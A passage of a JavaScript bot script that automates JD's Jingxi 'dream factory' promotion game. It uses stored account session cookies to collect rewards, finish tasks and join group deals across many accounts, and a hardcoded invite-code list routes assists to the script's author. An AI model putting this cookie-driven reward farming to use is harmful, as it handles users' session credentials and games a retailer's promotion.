s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +const $ = new Env('京喜工厂'); +const JD_API_HOST = 'https://m.jingxi.com'; +const helpAu = true; //帮作者助力 免费拿活动 +const notify = $.isNode() ? require('./sendNotify') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +let tuanActiveId = ``, hasSend = false; +const jxOpenUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://wqsd.jd.com/pingou/dream_factory/index.html%22%20%7D`; +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +const inviteCodes = [ + 'V5LkjP4WRyjeCKR9VRwcRX0bBuTz7MEK0-E99EJ7u0k=@0WtCMPNq7jekehT6d3AbFw==', + "gB99tYLjvPcEFloDgamoBw==@7dluIKQMp0bySgcr8AqFgw==", + '-OvElMzqeyeGBWazWYjI1Q==', + 'GFwo6PntxDHH95ZRzZ5uAg==' +]; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.tuanIds = []; +$.appId = 10001; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (process.env.DREAMFACTORY_FORBID_ACCOUNT) process.env.DREAMFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.ele = 0; + $.pickEle = 0; + $.pickFriendEle = 0; + $.friendList = []; + $.canHelpFlag = true;//能否助力朋友(招工) + $.tuanNum = 0;//成团人数 + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdDreamFactory() + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.isLogin = true; + $.canHelp = true;//能否参团 + await TotalBean(); + if (!$.isLogin) { + continue + } + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + + if ((cookiesArr && cookiesArr.length >= ($.tuanNum || 5)) && $.canHelp) { + console.log(`\n账号${$.UserName} 内部相互进团\n`); + for (let item of $.tuanIds) { + console.log(`\n${$.UserName} 去参加团 ${item}`); + if (!$.canHelp) break; + await JoinTuan(item); + await $.wait(1000); + } + } + if ($.canHelp) await joinLeaderTuan();//参团 + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: jxOpenUrl }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdDreamFactory() { + try { + await userInfo(); + await QueryFriendList();//查询今日招工情况以及剩余助力次数 + // await joinLeaderTuan();//参团 + await helpFriends(); + if (!$.unActive) return + // await collectElectricity() + await getUserElectricity(); + await taskList(); + await investElectric(); + await QueryHireReward();//收取招工电力 + await PickUp();//收取自家的地下零件 + await stealFriend(); + await tuanActivity(); + await QueryAllTuan(); + await exchangeProNotify(); + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + + +// 收取发电机的电力 +function collectElectricity(facId = $.factoryId, help = false, master) { + return new Promise(async resolve => { + // let url = `/dreamfactory/generator/CollectCurrentElectricity?zone=dream_factory&apptoken=&pgtimestamp=&phoneID=&factoryid=${facId}&doubleflag=1&sceneval=2&g_login_type=1`; + // if (help && master) { + // url = `/dreamfactory/generator/CollectCurrentElectricity?zone=dream_factory&factoryid=${facId}&master=${master}&sceneval=2&g_login_type=1`; + // } + let body = `factoryid=${facId}&apptoken=&pgtimestamp=&phoneID=&doubleflag=1`; + if (help && master) { + body += `factoryid=${facId}&master=${master}`; + } + $.get(taskurl(`generator/CollectCurrentElectricity`, body, `_time,apptoken,doubleflag,factoryid,pgtimestamp,phoneID,timeStamp,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (help) { + $.ele += Number(data.data['loginPinCollectElectricity']) + console.log(`帮助好友收取 ${data.data['CollectElectricity']} 电力,获得 ${data.data['loginPinCollectElectricity']} 电力`); + message += `【帮助好友】帮助成功,获得 ${data.data['loginPinCollectElectricity']} 电力\n` + } else { + $.ele += Number(data.data['CollectElectricity']) + console.log(`收取电力成功: 共${data.data['CollectElectricity']} `); + message += `【收取发电站】收取成功,获得 ${data.data['CollectElectricity']} 电力\n` + } + } else { + if (help) { + console.log(`收取好友电力失败:${data.msg}\n`); + } else { + console.log(`收取电力失败:${data.msg}\n`); + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 投入电力 +function investElectric() { + return new Promise(async resolve => { + // const url = `/dreamfactory/userinfo/InvestElectric?zone=dream_factory&productionId=${$.productionId}&sceneval=2&g_login_type=1`; + $.get(taskurl('userinfo/InvestElectric', `productionId=${$.productionId}`, `_time,productionId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.ret === 0) { + console.log(`成功投入电力${data.data.investElectric}电力`); + message += `【投入电力】投入成功,共计 ${data.data.investElectric} 电力\n`; + } else { + console.log(`投入失败,${data.msg}`); + message += `【投入电力】投入失败,${data.msg}\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化任务 +function taskList() { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/GetUserTaskStatusList?source=dreamfactory&bizCode=dream_factory&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('GetUserTaskStatusList', '', `_time,bizCode,source`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let userTaskStatusList = data['data']['userTaskStatusList']; + for (let i = 0; i < userTaskStatusList.length; i++) { + const vo = userTaskStatusList[i]; + if (vo['awardStatus'] !== 1) { + if (vo.completedTimes >= vo.targetTimes) { + console.log(`任务:${vo.description}可完成`) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } else { + switch (vo.taskType) { + case 2: // 逛一逛任务 + case 6: // 浏览商品任务 + case 9: // 开宝箱 + for (let i = vo.completedTimes; i <= vo.configTargetTimes; ++i) { + console.log(`去做任务:${vo.taskName}`) + await doTask(vo.taskId) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } + break + case 4: // 招工 + break + case 5: + // 收集类 + break + case 1: // 登陆领奖 + default: + break + } + } + } + } + console.log(`完成任务:共领取${$.ele}电力`) + message += `【每日任务】领奖成功,共计 ${$.ele} 电力\n`; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 获得用户电力情况 +function getUserElectricity() { + return new Promise(async resolve => { + // const url = `/dreamfactory/generator/QueryCurrentElectricityQuantity?zone=dream_factory&factoryid=${$.factoryId}&sceneval=2&g_login_type=1` + $.get(taskurl(`generator/QueryCurrentElectricityQuantity`, `factoryid=${$.factoryId}`, `_time,factoryid,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`发电机:当前 ${data.data.currentElectricityQuantity} 电力,最大值 ${data.data.maxElectricityQuantity} 电力`) + if (data.data.currentElectricityQuantity < data.data.maxElectricityQuantity) { + $.log(`\n本次发电机电力集满分享后${data.data.nextCollectDoubleFlag === 1 ? '可' : '不可'}获得双倍电力,${data.data.nextCollectDoubleFlag === 1 ? '故目前不收取电力' : '故现在收取电力'}\n`) + } + if (data.data.nextCollectDoubleFlag === 1) { + if (data.data.currentElectricityQuantity === data.data.maxElectricityQuantity && data.data.doubleElectricityFlag) { + console.log(`发电机:电力可翻倍并收获`) + // await shareReport(); + await collectElectricity() + } else { + message += `【发电机电力】当前 ${data.data.currentElectricityQuantity} 电力,未达到收获标准\n` + } + } else { + //再收取双倍电力达到上限时,直接收取,不再等到满级 + await collectElectricity() + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//查询有多少的招工电力可收取 +function QueryHireReward() { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/HireAward?zone=dream_factory&date=${new Date().Format("yyyyMMdd")}&type=0&sceneval=2&g_login_type=1` + $.get(taskurl('friend/QueryHireReward', ``, `_time,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + for (let item of data['data']['hireReward']) { + if (item.date !== new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).Format("yyyyMMdd")) { + await hireAward(item.date, item.type); + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 收取招工/劳模电力 +function hireAward(date, type = 0) { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/HireAward?zone=dream_factory&date=${new Date().Format("yyyyMMdd")}&type=0&sceneval=2&g_login_type=1` + $.get(taskurl('friend/HireAward', `date=${date}&type=${type}`, '_time,date,type,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`打工电力:收取成功`) + message += `【打工电力】:收取成功\n` + } else { + console.log(`打工电力:收取失败,${data.msg}`) + message += `【打工电力】收取失败,${data.msg}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function helpFriends() { + let Hours = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).getHours(); + if (Hours < 6) { + console.log(`\n未到招工时间(每日6-24点之间可招工)\n`) + return + } + if ($.canHelpFlag) { + await shareCodesFormat(); + for (let code of $.newShareCodes) { + if (code) { + if ($.encryptPin === code) { + console.log(`不能为自己助力,跳过`); + continue; + } + const assistFriendRes = await assistFriend(code); + if (assistFriendRes && assistFriendRes['ret'] === 0) { + console.log(`助力朋友:${code}成功,因一次只能助力一个,故跳出助力`) + break + } else if (assistFriendRes && assistFriendRes['ret'] === 11009) { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg},跳出助力`); + break + } else { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg}`) + } + } + } + } else { + $.log(`\n今日助力好友机会已耗尽\n`); + } +} +// 帮助用户,此处UA不可更换,否则助力功能会失效 +function assistFriend(sharepin) { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1` + // const options = { + // 'url': `https://m.jingxi.com/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1`, + // 'headers': { + // "Accept": "*/*", + // "Accept-Encoding": "gzip, deflate, br", + // "Accept-Language": "zh-cn", + // "Connection": "keep-alive", + // "Cookie": cookie, + // "Host": "m.jingxi.com", + // "Referer": "https://st.jingxi.com/pingou/dream_factory/index.html", + // "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" + // } + // } + const options = taskurl('friend/AssistFriend', `sharepin=${escape(sharepin)}`, `_time,sharepin,zone`); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data['ret'] === 0) { + // console.log(`助力朋友:${sharepin}成功`) + // } else { + // console.log(`助力朋友[${sharepin}]失败:${data.msg}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//查询助力招工情况 +function QueryFriendList() { + return new Promise(async resolve => { + $.get(taskurl('friend/QueryFriendList', ``, `_time,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + const { assistListToday = [], assistNumMax, hireListToday = [], hireNumMax } = data; + console.log(`\n\n你今日还能帮好友打工(${assistNumMax - assistListToday.length || 0}/${assistNumMax})次\n\n`); + if (assistListToday.length === assistNumMax) { + $.canHelpFlag = false; + } + $.log(`【今日招工进度】${hireListToday.length}/${hireNumMax}`); + message += `【招工进度】${hireListToday.length}/${hireNumMax}\n`; + } else { + console.log(`QueryFriendList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 任务领奖 +function completeTask(taskId, taskName) { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/Award?source=dreamfactory&bizCode=dream_factory&taskId=${taskId}&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('Award', taskId, `_time,bizCode,source,taskId`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + switch (data['data']['awardStatus']) { + case 1: + $.ele += Number(data['data']['prizeInfo'].replace('\\n', '')) + console.log(`领取${taskName}任务奖励成功,收获:${Number(data['data']['prizeInfo'].replace('\\n', ''))}电力`); + break + case 1013: + case 0: + console.log(`领取${taskName}任务奖励失败,任务已领奖`); + break + default: + console.log(`领取${taskName}任务奖励失败,${data['msg']}`) + break + } + // if (data['ret'] === 0) { + // console.log("做任务完成!") + // } else { + // console.log(`异常:${JSON.stringify(data)}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 完成任务 +function doTask(taskId) { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/DoTask?source=dreamfactory&bizCode=dream_factory&taskId=${taskId}&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('DoTask', taskId, '_time,bizCode,configExtra,source,taskId'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log("做任务完成!") + } else { + console.log(`DoTask异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化个人信息 +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true;//标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ''; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + const productionStage = data.productionStage; + $.factoryId = factory.factoryId;//工厂ID + $.productionId = production.productionId;//商品ID + $.commodityDimId = production.commodityDimId; + $.encryptPin = data.user.encryptPin; + // subTitle = data.user.pin; + await GetCommodityDetails();//获取已选购的商品信息 + if (productionStage['productionStageAwardStatus'] === 1) { + $.log(`可以开红包了\n`); + await DrawProductionStagePrize();//领取红包 + } else { + $.log(`再加${productionStage['productionStageProgress']}电力可开红包\n`) + } + console.log(`当前电力:${data.user.electric}`) + console.log(`当前等级:${data.user.currentLevel}`) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.user.encryptPin}`); + console.log(`已投入电力:${production.investedElectric}`); + console.log(`所需电力:${production.needElectric}`); + console.log(`生产进度:${((production.investedElectric / production.needElectric) * 100).toFixed(2)}%`); + message += `【京东账号${$.index}】${$.nickName}\n` + message += `【生产商品】${$.productName}\n`; + message += `【当前等级】${data.user.userIdentity} ${data.user.currentLevel}\n`; + message += `【生产进度】${((production.investedElectric / production.needElectric) * 100).toFixed(2)}%\n`; + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) $.log(`\n\n可以兑换商品了`) + if (production['exchangeStatus'] === 3) { + $.log(`\n\n商品兑换已超时`) + if (new Date().getHours() === 9) { + $.msg($.name, '', 